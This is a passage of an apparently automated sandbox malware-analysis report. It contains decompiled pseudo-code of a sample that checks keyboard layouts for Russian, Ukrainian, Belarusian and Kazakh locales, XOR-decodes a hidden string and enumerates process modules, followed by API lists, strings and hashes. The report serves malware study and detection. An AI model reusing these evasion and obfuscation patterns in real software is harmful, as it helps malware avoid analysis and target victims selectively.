													_t62 =  &_v40; // 0x5d5d5b7c
													 *0x450d20 =  *_t62;
													_t63 =  &_v36; // 0x2e404f47
													 *0x450d24 =  *_t63;
													E0040F1DA( &_v80, __eflags, 0x42ce60);
													E0040EE7E(0x450fe0);
													_t297 = _t297 + 8;
												}
											}
											_t189 =  *0x450d27; // 0x0
											__eflags = _t189;
											if(_t189 != 0) {
												 *0x450d20 =  *0x450d20 ^ 0x0000002e;
												 *0x450d21 =  *0x450d21 ^ 0x0000002e;
												 *0x450d22 =  *0x450d22 ^ 0x0000002e;
												 *0x450d23 =  *0x450d23 ^ 0x0000002e;
												 *0x450d24 =  *0x450d24 ^ 0x0000002e;
												 *0x450d25 =  *0x450d25 ^ 0x0000002e;
												 *0x450d26 =  *0x450d26 ^ 0x0000002e;
												_t213 = _t189 ^ 0x0000002e;
												__eflags = _t213;
												 *0x450d27 = _t213;
											}
											_t190 = 0x450d20;
											_v120 = 0;
											_v104 = 0;
											_v100 = 0xf;
											_t67 =  &(_t190[1]); // 0x450d21
											_t265 = _t67;
											do {
												_t255 =  *_t190;
												_t190 =  &(_t190[1]);
												__eflags = _t255;
											} while (_t255 != 0);
											E004026C0(_t222,  &_v120, 0x450d20, _t190 - _t265);
											_t274 = _v80;
											_t259 = _v64;
											__eflags = _v100 - 0x10;
											_v88 = _t222 | 0x00000001;
											_t223 = _v120;
											_t194 =  >=  ? _t223 :  &_v120;
											__eflags = _v60 - 0x10;
											_t238 =  >=  ? _t274 :  &_v80;
											_t195 = E004028A0(_t238, _t259, _t238,  >=  ? _t223 :  &_v120, _v104);
											_t297 = _t297 + 0xc;
											__eflags = _t195 - 0xffffffff;
											if(_t195 != 0xffffffff) {
												L25:
												_v81 = 1;
											} else {
												__eflags = _v60 - 0x10;
												_t259 = _v64;
												_t238 =  >=  ? _t274 :  &_v80;
												_t212 = E004028A0(_t238, _t259, _t238, 0x439a6c, 7);
												_t297 = _t297 + 0xc;
												_v81 = 0;
												__eflags = _t212 - 0xffffffff;
												if(_t212 != 0xffffffff) {
													goto L25;
												}
											}
											_v88 = _v88 & 0xfffffffe;
											_t196 = _v100;
											__eflags = _t196 - 0x10;
											if(_t196 < 0x10) {
												L30:
												__eflags = _v81;
												if(_v81 != 0) {
													L46:
													_t197 = _v60;
													__eflags = _t197 - 0x10;
													if(_t197 < 0x10) {
														L50:
														_t269 = _v52;
														_t223 = 1;
														L42:
														__eflags = _t269;
														if(_t269 == 0) {
															L52:
															 *[fs:0x0] = _v28;
															_pop(_t270);
															_pop(_t276);
															_pop(_t224);
															__eflags = _v32 ^ _t286;
															return E0040EB3F(_t223, _t224, _v32 ^ _t286, _t259, _t270, _t276);
														} else {
															_push(_t238);
															E0040D300(_t269, _v48, _t269, _t274);
															_t277 = _v52;
															_t299 = _t297 + 4;
															_t259 = (0x92492493 * (_v44 - _t277) >> 0x20) + _v44 - _t277 >> 4;
															_t164 = _t277;
															_t248 = ((_t259 >> 0x1f) + _t259) * 8 - (_t259 >> 0x1f) + _t259 << 2;
															__eflags = _t248 - 0x1000;
															if(_t248 < 0x1000) {
																L51:
																_push(_t248);
																E0040ED7F(_t277);
																goto L52;
															} else {
																_t277 =  *((intOrPtr*)(_t277 - 4));
																_t248 = _t248 + 0x23;
																__eflags = _t164 - _t277 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	E004134A7(_t223, _t259, __eflags);
																	goto L54;
																} else {
																	goto L51;
																}
															}
														}
													} else {
														_t109 = _t197 + 1; // 0x11
														_t238 = _t109;
														_t198 = _t274;
														__eflags = _t238 - 0x1000;
														if(_t238 < 0x1000) {
															L49:
															_push(_t238);
															E0040ED7F(_t274);
															_t297 = _t297 + 8;
															goto L50;
														} else {
															_t277 =  *((intOrPtr*)(_t274 - 4));
															_t248 = _t238 + 0x23;
															__eflags = _t198 - _t277 + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L54;
															} else {
																goto L49;
															}
														}
													}
												} else {
													_t202 = _v56;
													__eflags = _t202 - 0x419;
													if(_t202 == 0x419) {
														goto L46;
													} else {
														__eflags = _t202 - 0x422;
														if(_t202 == 0x422) {
															goto L46;
														} else {
															__eflags = _t202 - 0x423;
															if(_t202 == 0x423) {
																goto L46;
															} else {
																__eflags = _t202 - 0x43f;
																if(_t202 == 0x43f) {
																	goto L46;
																} else {
																	_v20 = 0;
																	_t203 = _v60;
																	__eflags = _t203 - 0x10;
																	if(_t203 < 0x10) {
																		goto L39;
																	} else {
																		_t93 = _t203 + 1; // 0x11
																		_t238 = _t93;
																		_t204 = _t274;
																		__eflags = _t238 - 0x1000;
																		if(_t238 < 0x1000) {
																			L38:
																			_push(_t238);
																			E0040ED7F(_t274);
																			_t297 = _t297 + 8;
																			goto L39;
																		} else {
																			_t277 =  *((intOrPtr*)(_t274 - 4));
																			_t248 = _t238 + 0x23;
																			__eflags = _t204 - _t277 + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L54;
																			} else {
																				goto L38;
																			}
																		}
																	}
																}
															}
														}
													}
												}
											} else {
												_t86 = _t196 + 1; // 0x11
												_t238 = _t86;
												_t208 = _t223;
												__eflags = _t238 - 0x1000;
												if(_t238 < 0x1000) {
													L29:
													_push(_t238);
													E0040ED7F(_t223);
													_t274 = _v80;
													_t297 = _t297 + 8;
													goto L30;
												} else {
													_t223 =  *(_t223 - 4);
													_t248 = _t238 + 0x23;
													__eflags = _t208 - _t223 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														L54:
														E004134A7(_t223, _t259, __eflags);
														asm("int3");
														asm("int3");
														_push(_t286);
														_t288 = _t299;
														_t170 =  *0x43d054; // 0x298e9dc2
														_v1752 = _t170 ^ _t288;
														_push(_t277);
														_push(_t269);
														_t271 = _t248;
														_v2020 = _t271;
														_v2020 = _t271;
														_t172 =  *0x439a7c; // 0x3e
														asm("movq xmm0, [0x439a74]");
														_v2004 = _t172;
														asm("movq [ebp-0x108], xmm0");
														E00410A80(_t271,  &_v2002, 0, 0xfa);
														_t279 = OpenProcess(0x410, 0, _t259);
														__eflags = _t279;
														if(_t279 != 0) {
															_t183 =  &_v292;
															__imp__K32EnumProcessModules(_t279, _t183, 4,  &_v288); // executed
															__eflags = _t183;
															if(_t183 != 0) {
																__imp__K32GetModuleBaseNameA(_t279, _v292,  &_v284, 0x104); // executed
															}
														}
														FindCloseChangeNotification(_t279); // executed
														_t249 =  &_v284;
														 *_t271 = 0;
														_t271[4] = 0;
														_t264 = _t249 + 1;
														_t271[5] = 0xf;
														 *_t271 = 0;
														do {
															_t177 =  *_t249;
															_t249 = _t249 + 1;
															__eflags = _t177;
														} while (_t177 != 0);
														E004026C0(_t223, _t271,  &_v284, _t249 - _t264);
														_pop(_t272);
														__eflags = _v24 ^ _t288;
														_pop(_t280);
														return E0040EB3F(_t271, _t223, _v24 ^ _t288, _t264, _t272, _t280);
													} else {
														goto L29;
													}
												}
											}
											goto L61;
											L39:
											_t222 = _v88;
											_t269 = _t269 + 0x1c;
											_t281 = _v96;
											__eflags = _t269 - _v92;
										} while (_t269 != _v92);
										_t269 = _v52;
										goto L41;
									}
								} else {
									goto L10;
								}
							}
						}
						goto L61;
						L11:
						_t267 = _t267 + 1;
					} while (_t267 < _v1568);
					goto L12;
				}
				L61:
			}

0x00404d40
0x00404d41
0x00404d49
0x00404d50
0x00404d54
0x00404d56
0x00404d58
0x00404d63
0x00404d64
0x00404d65
0x00404d6b
0x00404d70
0x00404d72
0x00404d77
0x00404d7b
0x00404d81
0x00404d83
0x00404d89
0x00404d8f
0x00404d92
0x00404d9c
0x00404da0
0x00404da7
0x00404dad
0x00404db4
0x00404dc1
0x00404dce
0x00404dd8
0x00404dde
0x00404de0
0x00404de8
0x00404efa
0x00404eff
0x00404f07
0x00404f08
0x00404f19
0x00404df0
0x00404df0
0x00404df0
0x00404e07
0x00404e0d
0x00404e13
0x00404e19
0x00404e23
0x00404e2d
0x00404e30
0x00404e3a
0x00404e41
0x00404e41
0x00404e43
0x00404e44
0x00404e58
0x00404e5d
0x00404e63
0x00404e69
0x00404e70
0x00404e76
0x00404eaa
0x00404eab
0x00404eae
0x00404eb3
0x00404e78
0x00404e78
0x00404e7f
0x00404e84
0x00404e8b
0x00404e8e
0x00404e96
0x00404e9b
0x00404e9e
0x00404e9e
0x00404eb9
0x00404ec0
0x00000000
0x00404ec2
0x00404ec2
0x00404ec8
0x00404ec9
0x00404ed1
0x00404ee3
0x00404ee3
0x00404ee5
0x00404eea
0x00000000
0x00404ed3
0x00404ed3
0x00404ed6
0x00404ee1
0x00404f1a
0x00404f1f
0x00404f20
0x00404f21
0x00404f23
0x00404f25
0x00404f30
0x00404f31
0x00404f34
0x00404f39
0x00404f3b
0x00404f3e
0x00404f3f
0x00404f40
0x00404f41
0x00404f45
0x00404f4b
0x00404f4d
0x00404f50
0x00404f53
0x00404f56
0x00404f5b
0x00404f5e
0x00404f63
0x00404f66
0x00404f69
0x00404f6c
0x00404f6f
0x00404f71
0x00405185
0x00405185
0x00405185
0x00000000
0x00404f77
0x00404f7d
0x00404f84
0x00404f8b
0x00404f8d
0x00404f90
0x00404f94
0x00404f9c
0x00404f9f
0x00404fa3
0x00404fa8
0x00404fae
0x00404fb5
0x00404fba
0x00404fbd
0x00404fc4
0x00404fc6
0x00404fc9
0x00404fce
0x00404fd6
0x00404fdb
0x00404fe8
0x00404fed
0x00404fed
0x00404fc4
0x00404ff0
0x00404ff5
0x00404ff7
0x00404ff9
0x00405000
0x00405007
0x0040500e
0x00405015
0x0040501c
0x00405023
0x0040502a
0x0040502a
0x0040502c
0x0040502c
0x00405031
0x00405036
0x0040503d
0x00405044
0x0040504b
0x0040504b
0x00405050
0x00405050
0x00405052
0x00405053
0x00405053
0x00405062
0x0040506a
0x00405070
0x00405079
0x0040507d
0x00405080
0x00405083
0x00405086
0x0040508b
0x0040508f
0x00405094
0x00405097
0x0040509a
0x004050c2
0x004050c2
0x0040509c
0x0040509c
0x004050a3
0x004050a8
0x004050b1
0x004050b6
0x004050b9
0x004050bd
0x004050c0
0x00000000
0x00000000
0x004050c0
0x004050c6
0x004050ca
0x004050cd
0x004050d0
0x00405100
0x00405100
0x00405104
0x004051e0
0x004051e0
0x004051e3
0x004051e6
0x0040520f
0x0040520f
0x00405212
0x00405187
0x00405187
0x00405189
0x00405226
0x0040522b
0x00405233
0x00405234
0x00405235
0x00405239
0x00405243
0x0040518f
0x00405192
0x00405195
0x004051a2
0x004051a5
0x004051ae
0x004051c1
0x004051c3
0x004051c6
0x004051cc
0x0040521c
0x0040521c
0x0040521e
0x00000000
0x004051ce
0x004051ce
0x004051d1
0x004051d9
0x004051dc
0x00405244
0x00000000
0x004051de
0x00000000
0x004051de
0x004051dc
0x004051cc
0x004051e8
0x004051e8
0x004051e8
0x004051eb
0x004051ed
0x004051f3
0x00405205
0x00405205
0x00405207
0x0040520c
0x00000000
0x004051f5
0x004051f5
0x004051f8
0x00405200
0x00405203
0x00000000
0x00000000
0x00000000
0x00000000
0x00405203
0x004051f3
0x0040510a
0x0040510a
0x0040510d
0x00405112
0x00000000
0x00405118
0x00405118
0x0040511d
0x00000000
0x00405123
0x00405123
0x00405128
0x00000000
0x0040512e
0x0040512e
0x00405133
0x00000000
0x00405139
0x00405139
0x0040513d
0x00405140
0x00405143
0x00000000
0x00405145
0x00405145
0x00405145
0x00405148
0x0040514a
0x00405150
0x00405166
0x00405166
0x00405168
0x0040516d
0x00000000
0x00405152
0x00405152
0x00405155
0x0040515d
0x00405160
0x00000000
0x00000000
0x00000000
0x00000000
0x00405160
0x00405150
0x00405143
0x00405133
0x00405128
0x0040511d
0x00405112
0x004050d2
0x004050d2
0x004050d2
0x004050d5
0x004050d7
0x004050dd
0x004050f3
0x004050f3
0x004050f5
0x004050fa
0x004050fd
0x00000000
0x004050df
0x004050df
0x004050e2
0x004050ea
0x004050ed
0x00405249
0x00405249
0x0040524e
0x0040524f
0x00405250
0x00405251
0x00405259
0x00405260
0x00405263
0x00405264
0x00405265
0x00405269
0x0040526f
0x00405275
0x0040527b
0x00405288
0x00405298
0x004052a0
0x004052b6
0x004052b8
0x004052ba
0x004052c5
0x004052cd
0x004052d3
0x004052d5
0x004052ea
0x004052ea
0x004052d5
0x004052f1
0x004052f7
0x004052fd
0x00405303
0x0040530a
0x0040530d
0x00405314
0x00405317
0x00405317
0x00405319
0x0040531a
0x0040531a
0x0040532a
0x00405334
0x00405335
0x00405337
0x00405340
0x00000000
0x00000000
0x00000000
0x004050ed
0x004050dd
0x00000000
0x00405170
0x00405170
0x00405173
0x00405176
0x00405179
0x00405179
0x00405182
0x00000000
0x00405182
0x00000000
0x00000000
0x00000000
0x00404ee1
0x00404ed1
0x00000000
0x00404eed
0x00404eed
0x00404eee
0x00000000
0x00404df0
0x00000000

APIs

GetKeyboardLayoutList.USER32(00000400,?,298E9DC2), ref: 00404DD8
GetLocaleInfoA.KERNEL32(?,00000002,?,000001F4), ref: 00404E0D
__Init_thread_footer.LIBCMT ref: 00404FE8

Part of subcall function 0040EE7E: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F40,?,?,00450F44,00450F45), ref: 0040EE88
Part of subcall function 0040EE7E: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F40,?,?,00450F44,00450F45), ref: 0040EEBB
Part of subcall function 0040EE7E: RtlWakeAllConditionVariable.NTDLL ref: 0040EF32

Strings

|[]], xrefs: 00404F7D
|[]]GO@., xrefs: 00404FC6
GO@., xrefs: 00404F84

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterInfoInit_thread_footerKeyboardLayoutLeaveListLocaleVariableWake
String ID: GO@.$|[]]$|[]]GO@.
API String ID: 4140350330-2383573185
Opcode ID: 6892b5740da64c2b2d9348b309dd0dd1bfc46d41a66cecb01e4a995bbdcb44f0
Instruction ID: ad479d80e4ae435dd2ca2f0bd1958a9a33927952e9cdafdf44225e6c98ebece6
Opcode Fuzzy Hash: 6892b5740da64c2b2d9348b309dd0dd1bfc46d41a66cecb01e4a995bbdcb44f0
Instruction Fuzzy Hash: 4BE1D571D002598BDB14CF68CC857EEBBB1EF49314F14466AE405B72C2DB79AA84CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00404F20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 218
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00404F20(void* __ebx, void* __eflags) {
				char _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				long _v52;
				char _v68;
				char _v69;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				int _v88;
				int _v92;
				int _v108;
				signed int _v132;
				char _v272;
				char _v276;
				char _v280;
				char _v382;
				short _v384;
				int* _v400;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t86;
				signed int _t87;
				intOrPtr _t90;
				intOrPtr _t99;
				signed int _t105;
				short _t107;
				signed int _t112;
				signed int _t118;
				intOrPtr _t123;
				signed char _t124;
				signed char* _t125;
				void* _t130;
				int _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t137;
				intOrPtr _t138;
				intOrPtr _t139;
				int _t143;
				void* _t147;
				signed int _t155;
				int _t156;
				void* _t157;
				char* _t159;
				signed int _t169;
				intOrPtr* _t170;
				signed char _t176;
				long _t180;
				void* _t184;
				signed char* _t185;
				intOrPtr _t187;
				void* _t188;
				int* _t189;
				void* _t190;
				char _t191;
				void* _t192;
				intOrPtr _t193;
				void* _t195;
				void* _t196;
				intOrPtr _t197;
				signed int _t198;
				signed int _t199;
				void* _t200;
				void* _t201;
				signed int _t202;

				_push(0xffffffff);
				_push(0x42c535);
				_push( *[fs:0x0]);
				_t201 = _t200 - 0x5c;
				_t86 =  *0x43d054; // 0x298e9dc2
				_t87 = _t86 ^ _t198;
				_v20 = _t87;
				_push(__ebx);
				_push(_t191);
				_push(_t87);
				 *[fs:0x0] =  &_v16;
				_t155 = 0;
				_t159 =  &_v40;
				asm("xorps xmm0, xmm0");
				_v76 = 0;
				asm("movq [ebp-0x24], xmm0");
				_v32 = 0;
				E00404D40(0, _t159); // executed
				_v8 = 0;
				_t90 = _v36;
				_t187 = _v40;
				_v80 = _t90;
				if(_t187 == _t90) {
					L27:
					_t156 = 0;
					goto L28;
				} else {
					_v28 = 0x5d5d5b7c;
					_v24 = 0x2e404f47;
					_t197 =  *((intOrPtr*)( *[fs:0x2c]));
					_v84 = _t197;
					do {
						E0040BB10(_t155,  &_v68, _t180, _t187, _t187);
						_v44 =  *((intOrPtr*)(_t187 + 0x18));
						_v8 = 1;
						_t123 =  *0x450fe0; // 0x8000000f
						if(_t123 >  *((intOrPtr*)(_t197 + 4))) {
							E0040EEC8(_t123, 0x450fe0);
							_t201 = _t201 + 4;
							_t210 =  *0x450fe0 - 0xffffffff;
							if( *0x450fe0 == 0xffffffff) {
								_t18 =  &_v28; // 0x5d5d5b7c
								 *0x450d20 =  *_t18;
								_t19 =  &_v24; // 0x2e404f47
								 *0x450d24 =  *_t19;
								E0040F1DA( &_v68, _t210, 0x42ce60);
								E0040EE7E(0x450fe0);
								_t201 = _t201 + 8;
							}
						}
						_t124 =  *0x450d27; // 0x0
						if(_t124 != 0) {
							 *0x450d20 =  *0x450d20 ^ 0x0000002e;
							 *0x450d21 =  *0x450d21 ^ 0x0000002e;
							 *0x450d22 =  *0x450d22 ^ 0x0000002e;
							 *0x450d23 =  *0x450d23 ^ 0x0000002e;
							 *0x450d24 =  *0x450d24 ^ 0x0000002e;
							 *0x450d25 =  *0x450d25 ^ 0x0000002e;
							 *0x450d26 =  *0x450d26 ^ 0x0000002e;
							 *0x450d27 = _t124 ^ 0x0000002e;
						}
						_t125 = 0x450d20;
						_v108 = 0;
						_v92 = 0;
						_v88 = 0xf;
						_t23 =  &(_t125[1]); // 0x450d21
						_t185 = _t23;
						do {
							_t176 =  *_t125;
							_t125 =  &(_t125[1]);
						} while (_t176 != 0);
						E004026C0(_t155,  &_v108, 0x450d20, _t125 - _t185);
						_t191 = _v68;
						_t180 = _v52;
						_v76 = _t155 | 0x00000001;
						_t156 = _v108;
						_t129 =  >=  ? _t156 :  &_v108;
						_t159 =  >=  ? _t191 :  &_v68;
						_t130 = E004028A0(_t159, _t180, _t159,  >=  ? _t156 :  &_v108, _v92);
						_t201 = _t201 + 0xc;
						if(_t130 != 0xffffffff) {
							L11:
							_v69 = 1;
						} else {
							_t180 = _v52;
							_t159 =  >=  ? _t191 :  &_v68;
							_t147 = E004028A0(_t159, _t180, _t159, 0x439a6c, 7);
							_t201 = _t201 + 0xc;
							_v69 = 0;
							if(_t147 != 0xffffffff) {
								goto L11;
							}
						}
						_v76 = _v76 & 0xfffffffe;
						_t131 = _v88;
						if(_t131 < 0x10) {
							L16:
							if(_v69 != 0) {
								L32:
								_t132 = _v48;
								__eflags = _t132 - 0x10;
								if(_t132 < 0x10) {
									L36:
									_t187 = _v40;
									_t156 = 1;
									L28:
									if(_t187 == 0) {
										L38:
										 *[fs:0x0] = _v16;
										_pop(_t188);
										_pop(_t192);
										_pop(_t157);
										return E0040EB3F(_t156, _t157, _v20 ^ _t198, _t180, _t188, _t192);
									} else {
										_push(_t159);
										E0040D300(_t187, _v36, _t187, _t191);
										_t193 = _v40;
										_t202 = _t201 + 4;
										_t180 = (0x92492493 * (_v32 - _t193) >> 0x20) + _v32 - _t193 >> 4;
										_t99 = _t193;
										_t169 = ((_t180 >> 0x1f) + _t180) * 8 - (_t180 >> 0x1f) + _t180 << 2;
										if(_t169 < 0x1000) {
											L37:
											_push(_t169);
											E0040ED7F(_t193);
											goto L38;
										} else {
											_t193 =  *((intOrPtr*)(_t193 - 4));
											_t169 = _t169 + 0x23;
											if(_t99 - _t193 + 0xfffffffc > 0x1f) {
												E004134A7(_t156, _t180, __eflags);
												goto L40;
											} else {
												goto L37;
											}
										}
									}
								} else {
									_t65 = _t132 + 1; // 0x11
									_t159 = _t65;
									_t133 = _t191;
									__eflags = _t159 - 0x1000;
									if(_t159 < 0x1000) {
										L35:
										_push(_t159);
										E0040ED7F(_t191);
										_t201 = _t201 + 8;
										goto L36;
									} else {
										_t193 =  *((intOrPtr*)(_t191 - 4));
										_t169 = _t159 + 0x23;
										__eflags = _t133 - _t193 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L40;
										} else {
											goto L35;
										}
									}
								}
							} else {
								_t137 = _v44;
								if(_t137 == 0x419 || _t137 == 0x422 || _t137 == 0x423 || _t137 == 0x43f) {
									goto L32;
								} else {
									_v8 = 0;
									_t138 = _v48;
									if(_t138 < 0x10) {
										goto L25;
									} else {
										_t49 = _t138 + 1; // 0x11
										_t159 = _t49;
										_t139 = _t191;
										if(_t159 < 0x1000) {
											L24:
											_push(_t159);
											E0040ED7F(_t191);
											_t201 = _t201 + 8;
											goto L25;
										} else {
											_t193 =  *((intOrPtr*)(_t191 - 4));
											_t169 = _t159 + 0x23;
											if(_t139 - _t193 + 0xfffffffc > 0x1f) {
												goto L40;
											} else {
												goto L24;
											}
										}
									}
								}
							}
						} else {
							_t42 = _t131 + 1; // 0x11
							_t159 = _t42;
							_t143 = _t156;
							if(_t159 < 0x1000) {
								L15:
								_push(_t159);
								E0040ED7F(_t156);
								_t191 = _v68;
								_t201 = _t201 + 8;
								goto L16;
							} else {
								_t156 =  *(_t156 - 4);
								_t169 = _t159 + 0x23;
								if(_t143 - _t156 + 0xfffffffc > 0x1f) {
									L40:
									E004134A7(_t156, _t180, __eflags);
									asm("int3");
									asm("int3");
									_push(_t198);
									_t199 = _t202;
									_t105 =  *0x43d054; // 0x298e9dc2
									_v132 = _t105 ^ _t199;
									_push(_t193);
									_push(_t187);
									_t189 = _t169;
									_v400 = _t189;
									_v400 = _t189;
									_t107 =  *0x439a7c; // 0x3e
									asm("movq xmm0, [0x439a74]");
									_v384 = _t107;
									asm("movq [ebp-0x108], xmm0");
									E00410A80(_t189,  &_v382, 0, 0xfa);
									_t195 = OpenProcess(0x410, 0, _t180);
									__eflags = _t195;
									if(_t195 != 0) {
										_t118 =  &_v280;
										__imp__K32EnumProcessModules(_t195, _t118, 4,  &_v276); // executed
										__eflags = _t118;
										if(_t118 != 0) {
											__imp__K32GetModuleBaseNameA(_t195, _v280,  &_v272, 0x104); // executed
										}
									}
									FindCloseChangeNotification(_t195); // executed
									_t170 =  &_v272;
									 *_t189 = 0;
									_t189[4] = 0;
									_t184 = _t170 + 1;
									_t189[5] = 0xf;
									 *_t189 = 0;
									do {
										_t112 =  *_t170;
										_t170 = _t170 + 1;
										__eflags = _t112;
									} while (_t112 != 0);
									E004026C0(_t156, _t189,  &_v272, _t170 - _t184);
									_pop(_t190);
									__eflags = _v12 ^ _t199;
									_pop(_t196);
									return E0040EB3F(_t189, _t156, _v12 ^ _t199, _t184, _t190, _t196);
								} else {
									goto L15;
								}
							}
						}
						goto L47;
						L25:
						_t155 = _v76;
						_t187 = _t187 + 0x1c;
						_t197 = _v84;
					} while (_t187 != _v80);
					_t187 = _v40;
					goto L27;
				}
				L47:
			}

0x00404f23
0x00404f25
0x00404f30
0x00404f31
0x00404f34
0x00404f39
0x00404f3b
0x00404f3e
0x00404f3f
0x00404f41
0x00404f45
0x00404f4b
0x00404f4d
0x00404f50
0x00404f53
0x00404f56
0x00404f5b
0x00404f5e
0x00404f63
0x00404f66
0x00404f69
0x00404f6c
0x00404f71
0x00405185
0x00405185
0x00000000
0x00404f77
0x00404f7d
0x00404f84
0x00404f8b
0x00404f8d
0x00404f90
0x00404f94
0x00404f9c
0x00404f9f
0x00404fa3
0x00404fae
0x00404fb5
0x00404fba
0x00404fbd
0x00404fc4
0x00404fc6
0x00404fc9
0x00404fce
0x00404fd6
0x00404fdb
0x00404fe8
0x00404fed
0x00404fed
0x00404fc4
0x00404ff0
0x00404ff7
0x00404ff9
0x00405000
0x00405007
0x0040500e
0x00405015
0x0040501c
0x00405023
0x0040502c
0x0040502c
0x00405031
0x00405036
0x0040503d
0x00405044
0x0040504b
0x0040504b
0x00405050
0x00405050
0x00405052
0x00405053
0x00405062
0x0040506a
0x00405070
0x0040507d
0x00405080
0x00405083
0x0040508b
0x0040508f
0x00405094
0x0040509a
0x004050c2
0x004050c2
0x0040509c
0x004050a3
0x004050a8
0x004050b1
0x004050b6
0x004050b9
0x004050c0
0x00000000
0x00000000
0x004050c0
0x004050c6
0x004050ca
0x004050d0
0x00405100
0x00405104
0x004051e0
0x004051e0
0x004051e3
0x004051e6
0x0040520f
0x0040520f
0x00405212
0x00405187
0x00405189
0x00405226
0x0040522b
0x00405233
0x00405234
0x00405235
0x00405243
0x0040518f
0x00405192
0x00405195
0x004051a2
0x004051a5
0x004051ae
0x004051c1
0x004051c3
0x004051cc
0x0040521c
0x0040521c
0x0040521e
0x00000000
0x004051ce
0x004051ce
0x004051d1
0x004051dc
0x00405244
0x00000000
0x004051de
0x00000000
0x004051de
0x004051dc
0x004051cc
0x004051e8
0x004051e8
0x004051e8
0x004051eb
0x004051ed
0x004051f3
0x00405205
0x00405205
0x00405207
0x0040520c
0x00000000
0x004051f5
0x004051f5
0x004051f8
0x00405200
0x00405203
0x00000000
0x00000000
0x00000000
0x00000000
0x00405203
0x004051f3
0x0040510a
0x0040510a
0x00405112
0x00000000
0x00405139
0x00405139
0x0040513d
0x00405143
0x00000000
0x00405145
0x00405145
0x00405145
0x00405148
0x00405150
0x00405166
0x00405166
0x00405168
0x0040516d
0x00000000
0x00405152
0x00405152
0x00405155
0x00405160
0x00000000
0x00000000
0x00000000
0x00000000
0x00405160
0x00405150
0x00405143
0x00405112
0x004050d2
0x004050d2
0x004050d2
0x004050d5
0x004050dd
0x004050f3
0x004050f3
0x004050f5
0x004050fa
0x004050fd
0x00000000
0x004050df
0x004050df
0x004050e2
0x004050ed
0x00405249
0x00405249
0x0040524e
0x0040524f
0x00405250
0x00405251
0x00405259
0x00405260
0x00405263
0x00405264
0x00405265
0x00405269
0x0040526f
0x00405275
0x0040527b
0x00405288
0x00405298
0x004052a0
0x004052b6
0x004052b8
0x004052ba
0x004052c5
0x004052cd
0x004052d3
0x004052d5
0x004052ea
0x004052ea
0x004052d5
0x004052f1
0x004052f7
0x004052fd
0x00405303
0x0040530a
0x0040530d
0x00405314
0x00405317
0x00405317
0x00405319
0x0040531a
0x0040531a
0x0040532a
0x00405334
0x00405335
0x00405337
0x00405340
0x00000000
0x00000000
0x00000000
0x004050ed
0x004050dd
0x00000000
0x00405170
0x00405170
0x00405173
0x00405176
0x00405179
0x00405182
0x00000000
0x00405182
0x00000000

APIs

Part of subcall function 00404D40: GetKeyboardLayoutList.USER32(00000400,?,298E9DC2), ref: 00404DD8
Part of subcall function 00404D40: GetLocaleInfoA.KERNEL32(?,00000002,?,000001F4), ref: 00404E0D

Part of subcall function 0040EEC8: EnterCriticalSection.KERNEL32(004504FC,00450D61,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EED3
Part of subcall function 0040EEC8: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EF10

__Init_thread_footer.LIBCMT ref: 00404FE8

Part of subcall function 0040EE7E: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F40,?,?,00450F44,00450F45), ref: 0040EE88
Part of subcall function 0040EE7E: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F40,?,?,00450F44,00450F45), ref: 0040EEBB
Part of subcall function 0040EE7E: RtlWakeAllConditionVariable.NTDLL ref: 0040EF32

Strings

|[]], xrefs: 00404F7D
|[]]GO@., xrefs: 00404FC6
GO@., xrefs: 00404F84

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$ConditionInfoInit_thread_footerKeyboardLayoutListLocaleVariableWake
String ID: GO@.$|[]]$|[]]GO@.
API String ID: 960455753-2383573185
Opcode ID: 1439b6664eb94a7b13a85c8cb42a754c4416ec6dbb3fe98a0fb638915fd95088
Instruction ID: 98f94566ca8f805a31a8e8de89f1e0191cee1318bbd29161dd1297d57ac7a80e
Opcode Fuzzy Hash: 1439b6664eb94a7b13a85c8cb42a754c4416ec6dbb3fe98a0fb638915fd95088
Instruction Fuzzy Hash: 7181C675D002498BDB14DFA8D8857AFBBB0EF09314F54063AE401BB2D2D778A948CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405350 Relevance: 6.1, APIs: 4, Instructions: 80
processCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00405350(void* __ebx, int* _a4, long _a24) {
				signed int _v8;
				signed int _v12;
				char _v272;
				void* _v308;
				signed int _v340;
				int* _v604;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t23;
				void* _t25;
				int _t27;
				int* _t31;
				signed int _t36;
				signed int _t39;
				void* _t49;
				int _t51;
				void* _t53;
				void* _t54;
				int* _t57;
				intOrPtr* _t58;
				long _t63;
				void* _t64;
				void* _t65;
				void* _t66;
				void* _t67;
				void* _t68;
				void* _t70;
